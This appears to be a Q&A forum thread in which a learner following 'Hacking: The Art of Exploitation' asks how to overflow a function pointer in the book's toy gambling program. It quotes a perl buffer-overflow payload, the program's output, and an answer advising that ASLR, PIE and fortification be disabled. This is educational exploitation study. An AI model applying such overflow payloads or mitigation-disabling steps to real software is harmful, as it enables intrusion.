Send hex code into standard input after getting some output

Question

I'm currently going through Hacking: The Art of Exploitation and there is an issue I'm having with trying to overflow a function pointer. The code is located here.

I'm trying to input hex code into my program so a function pointer can point at the jackpot function to execute it however I can't input it due to not being able to input hex.

The books uses

perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x55\x1a\x56\x56\n" . "1\nn\n" . "7\n"' | ./gameOfChance 

This does the following

1. Play pick a number game
2. Guess number 5
3. Choose not to play again by entering n
4. Choose to change username so we can overflow and change the current_game pointer
5. Enters address of jackpot function(this changes every run which is my issue)

Which would work for me as well but nm lists a relative address and the address of the function changes every run unlike what has been shown in the book. I'm wondering how I can input the address of the jackpot which I know from when the program is run as it lists the pick_a_number functions address.

So how can I input hex after I have manually input and got output from the program first. As I need the output ([DEBUG] current_game pointer @ 0x565ead9b ) to modify the address to change the name and overflow current_game pointer.

I have tried to pipe it into fg after suspending the program but that gives me an error and doesn't work(executing fg by itself does work).

Thank you! The actual address of jackpot() is printed after the DEBUG line which changes every run. Output:

-=[ Game of Chance Menu  ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your acount at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
[You have 120 credits]

[DEBUG] current_game pointer @ 0x56630d9b
 0x56630a55

####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!

10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 8
Sorry, you didn't win.

You now have 110 credits
Would you like to play again? (y/n)  -=[ Game of Chance Menu  ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your acount at 100 credits
7 - Quit
cV]me: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[You have 110 credits]

Change user name
Enter your new name: Your name has been changed to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUVV-=[ Game of Chance Menu  ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your acount at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUVV]
[You have 110 credits]

[DEBUG] current_game pointer @ 0x56561a55
 0x56630a55
Segmentation fault (core dumped)

Answer 1

Per your post you can see that the instruction pointer contains your overwritten value. The problem is that the address is incorrect or doesn't contain the expected value.

Per my earlier comment, the answer may be found in the README in that repo. There are many additional counter measures in newer Linux and gcc. You either need to use the VM or weaken the security configuration of the machine you're using. You'll also need to make sure the compiled binary does not have ASLR, PIE or source fortification enabled.